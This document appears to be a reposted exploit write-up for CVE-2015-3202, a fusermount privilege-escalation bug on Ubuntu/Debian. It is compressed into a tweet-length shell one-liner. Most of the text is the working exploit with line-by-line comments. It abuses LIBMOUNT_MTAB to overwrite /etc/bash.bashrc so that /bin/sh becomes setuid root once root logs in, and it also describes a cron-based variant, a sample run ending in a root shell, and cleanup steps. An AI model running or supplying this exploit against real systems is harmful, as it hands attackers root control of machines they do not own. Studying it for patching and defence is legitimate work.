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# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet. 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890 a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 # Here's how it works, $a holds the name of a shellscript to be executed as # root. a=/tmp/.$$; # $b is used twice, first to build the contents of shellscript $a, and then as # a command to make $a executable. Quotes are unused to save a character, so # the seperator must be escaped. b=chmod\ u+sx; # Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making # /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash, # and dont make it drop privileges. # # http://www.openwall.com/lists/oss-security/2013/08/22/12 # echo $b /bin/sh>$a; # Now make the $a script executable using the command in $b. This needlessly # sets the setuid bit, but that doesn't do any harm. $b $a; # Now make $a the directory we want fusermount to use. This directory name is # written to an arbitrary file as part of the vulnerability, so needs to be # formed such that it's a valid shell command. a+=\;$a; # Create the mount point for fusermount. mkdir -p $a; # fusermount calls setuid(geteuid()) to reset the ruid when it invokes # /bin/mount so that it can use privileged mount options that are normally # restricted if ruid != euid. That's acceptable (but scary) in theory, because # fusermount can sanitize the call to make sure it's safe. # # However, because mount thinks it's being invoked by root, it allows # access to debugging features via the environment that would not normally be # safe for unprivileged users and fusermount doesn't sanitize them. # # Therefore, the bug is that the environment is not cleared when calling mount # with ruid=0. One debugging feature available is changing the location of # /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary # files. # # In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the # current shell from $0...so it only works if you're using bash!). # # The line written by fusermount will look like this: # # /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx # # Which will try to execute /dev/fuse with the paramter /tmp/_, fail because # /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse # xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the # next time root logs in. # # Another way to exploit it would be overwriting /etc/default/locale, then # waiting for cron to run /etc/cron.daily/apt at midnight. That means root # wouldn't have to log in, but you would have to wait around until midnight to # check if it worked. # # And we have enough characters left for a hash tag/comment. LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 # Here is how the exploit looks when you run it: # # $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 # fusermount: failed to open /etc/fuse.conf: Permission denied # sending file descriptor: Socket operation on non-socket # $ cat /etc/bash.bashrc # /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0 # # Now when root logs in next... # $ sudo -s # bash: /dev/fuse: Permission denied # # ls -Ll /bin/sh # -rwsr-xr-x 1 root root 121272 Feb 19 2014 /bin/sh # # exit # $ sh -c 'id' # euid=0(root) groups=0(root) # # To repair the damage after testing, do this: # # $ sudo rm /etc/bash.bashrc # $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash # $ sudo chmod 0755 /bin/sh # $ sudo umount /tmp/.$$\;/tmp/.$$ # $ rm -rf /tmp/.$$ /tmp/.$$\; # Sursa: http://dl.packetstormsecurity.net/1505-exploits/fusermount-escalate.txt